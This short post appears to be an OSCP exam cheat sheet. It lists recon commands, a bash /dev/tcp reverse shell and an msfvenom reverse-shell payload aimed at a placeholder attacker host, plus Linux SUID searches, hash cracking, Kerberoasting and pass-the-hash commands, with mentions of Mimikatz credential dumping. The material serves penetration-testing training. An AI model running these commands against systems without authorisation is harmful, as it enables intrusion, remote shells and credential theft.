OSCP Cheat Sheet: Your Ultimate Penetration Testing Guide for Windows and Linux

Preparing for the OSCP exam or diving into penetration testing? Here’s a quick rundown of essential tools, commands, and techniques to help you succeed!

🔍 Recon & Enumeration
Nmap: nmap -sV -p- <IP> (Full scan)
SMB: crackmapexec smb <IP> -u user -p pass --shares
HTTP: gobuster dir -u http://<IP> -w wordlist.txt

⚡️ Exploitation
Reverse Shells:
Bash: bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
MSFVenom: msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
Privilege Escalation:
Windows: Check winpeas.exe or powerup.ps1
Linux: sudo -l or find / -perm -u=s -type f 2>/dev/null

🔑 Password Cracking
John: john --wordlist=rockyou.txt hash
Hashcat: hashcat -m 1000 hash.txt wordlist.txt

🛠 Active Directory
Kerberoasting: impacket-GetUserSPNs -dc-ip <DC-IP> domain/user:pass -request
Pass-the-Hash: psexec.[py]-hashes LM:NTLM user@target

📌 Pro Tips:
Always check /etc/passwd, registry keys, and scheduled tasks for privesc paths.
Use tools like BloodHound for AD mapping and Mimikatz for credential dumping.

1010111 1101000 1101001 1110100 1100101 110010 1101000 1100001 1100011 1101011

#pentest #exam